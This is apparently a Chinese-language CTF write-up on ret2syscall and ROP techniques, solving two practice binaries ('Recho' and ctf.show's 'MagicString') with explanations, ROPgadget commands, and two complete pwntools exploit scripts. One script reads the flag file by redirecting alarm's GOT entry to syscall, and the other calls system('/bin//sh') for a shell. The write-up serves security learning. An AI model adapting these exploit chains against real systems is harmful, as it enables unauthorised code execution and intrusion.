Ret2syscall提升

前言

​ 经过昨天的Ret2syscall学习,今天就想着找一些ret2syscall的题目来提升一下。

题目地址

题目分析

​ 打开题目查看一下保护

然后拖入IDA看下程序逻辑,发现逻辑很简单,就只有一个main,分析下代码

​ 看着是一个很简单的栈溢出,但是read一直为真,也就是程序会一直执行下去,这道题的难点就在于如何让循环停止,百度下知道了在pwntools里有一个shutdown功能,该功能可以关闭流。使程序停止循环。但是关闭后就不能打开,所以我们的ROP要一R到底。

​ 一次性完成所有的操作,可以使用系统调用(syscall)的方法,比较简单的地方在于程序给了我们flag的文件,我们可以利用系统函数读取flag内容然后打印出来。

​ 我们知道open write read alarm都是系统调用函数,关于系统调用号请到另一篇文章学习系统调用号 。这个程序中已经调用了write read alarm所以我们缺少open ,open也是系统调用,所以我们只要改变传入的eax,就可以调用open ,我们首先要找到syscall的地址或调用它的某处地址。

调用open我们可以构造这样的代码来得到flag。

1
2
3
int fd = open("flag",READONLY);  
read(fd,buf,100);
printf(buf);

在程序中我们找不到可以直接利用的syscall

但是我们用不到alarm 所以我们可以通过修改alarmgot表地址,使其指向syscall

syscallalarm的偏移为固定的0x5,所以我们可以将alarm的got表加上偏移的0x5个字节指向syscall,然后通过plt来链接alarm的真实地址调用syscall。

构造ROP

1
2
3
4
5
ROPgadget --binary ./Recho --only "pop|ret"|grep "rax"
ROPgadget --binary ./Recho --only "pop|ret"|grep "rdx"
ROPgadget --binary ./Recho --only "pop|ret"|grep "rdi"
ROPgadget --binary ./Recho --only "pop|ret"|grep "rsi"
ROPgadget --binary ./Recho --only "add|ret"|grep "al"

构造payload

我们要做的第一步就是修改alarm的got表内容使其指向syscall,偏移是0x5

也就是rdi=alarm_got rax=0x5

第二步就是调用系统函数open来构造读取flag,open系统调用号为0x2

rsi参数为null rdi=flag_add rax=0x2

第三步调用syscall通过plt来链接alarm的真实地址

第四步构造read(fd,buf,100) rdi指向buf用于存放获取的结果。要注意的是open的文件描述符从3开始,然后依次增加。

第五步指向read函数,读取获取的结果

第六步使用printf函数打印结果

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#encoding:utf-8
from pwn import *
context.log_level = 'debug'
#sh = process('./Recho')
elf = ELF('./Recho')
sh = remote('220.249.52.133',55632)
pop_rax = 0x00000000004006fc
pop_rdx = 0x00000000004006fe
pop_rsi = 0x00000000004008a1
pop_rdi = 0x00000000004008a3
bss_add = 0x0000000000601070
rdi_add = 0x000000000040070d
flag_add = 0x0000000000601058

alarm_got = elf.got['alarm']
alarm_plt = elf.plt['alarm']
read_plt = elf.plt['read']
printf_plt = elf.plt['printf']

#修改got表内容使其指向syscall
payload = 'a' * 0x38
payload += p64(pop_rdi)
payload += p64(alarm_got)
payload += p64(pop_rax)
payload += p64(0x5)
payload += p64(rdi_add)
# 调用系统函数open
payload += p64(pop_rsi)
payload += p64(0) + p64(0)
payload += p64(pop_rdi)
payload += p64(flag_add)
#open的系统函数调用号位2
payload += p64(pop_rax)
payload += p64(0x2)
#指向syscall的地址,通过plt连接got表来获取真实地址
payload += p64(alarm_plt)
#将读取到的值存放到bss段
payload += p64(pop_rsi) + p64(bss_add) + p64(0)
#open函数的文件描述符从3开始
payload += p64(pop_rdi)
payload += p64(3)
payload += p64(pop_rdx)
#最多读取100个字符
payload += p64(100)
#指向read()
payload += p64(read_plt)
#使用printf打印读取的内容
payload += p64(pop_rdi)
payload += p64(bss_add)
payload += p64(printf_plt)
#尽量使字符串长,这样才能将我们的payload全部输进去,不然可能因为会有缓存的问题导致覆盖不完整
payload += payload.ljust(0x200,'\x00')
sh.recvuntil('Welcome to Recho server!\n')
sh.sendline(str(0x200))
sh.sendline(payload)
sh.shutdown('write')
sh.interactive()

第二道题目

做题平台ctf.show 36D杯MagicString

​ 检查程序,发现只开了NX,想着应该是栈溢出了,IDA分析程序

是64为程序,所以偏移位是0x2a0+8

解题思路

算出偏移0x2a8

/bin//sh写入到bss段

然后调用system执行

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

#sh = process('./pwn')
sh = remote('111.231.70.44',28052)
#context.log_level = 'debug'
elf = ELF('./pwn')

sys_addr=elf.symbols['system']
gets_plt=elf.plt['gets']
bss_addr =0x0000000000601060
rdi_addr =0x0000000000400733
rsi_r15 = 0x0000000000400731

payload = 'a' * 0x2a8
payload += p64(rdi_addr)
payload += p64(bss_addr)
payload += p64(gets_plt)
payload += p64(rdi_addr)
payload += p64(bss_addr)
payload += p64(sys_addr)

sh.sendline(payload)
sh.sendline('/bin//sh')
sh.interactive()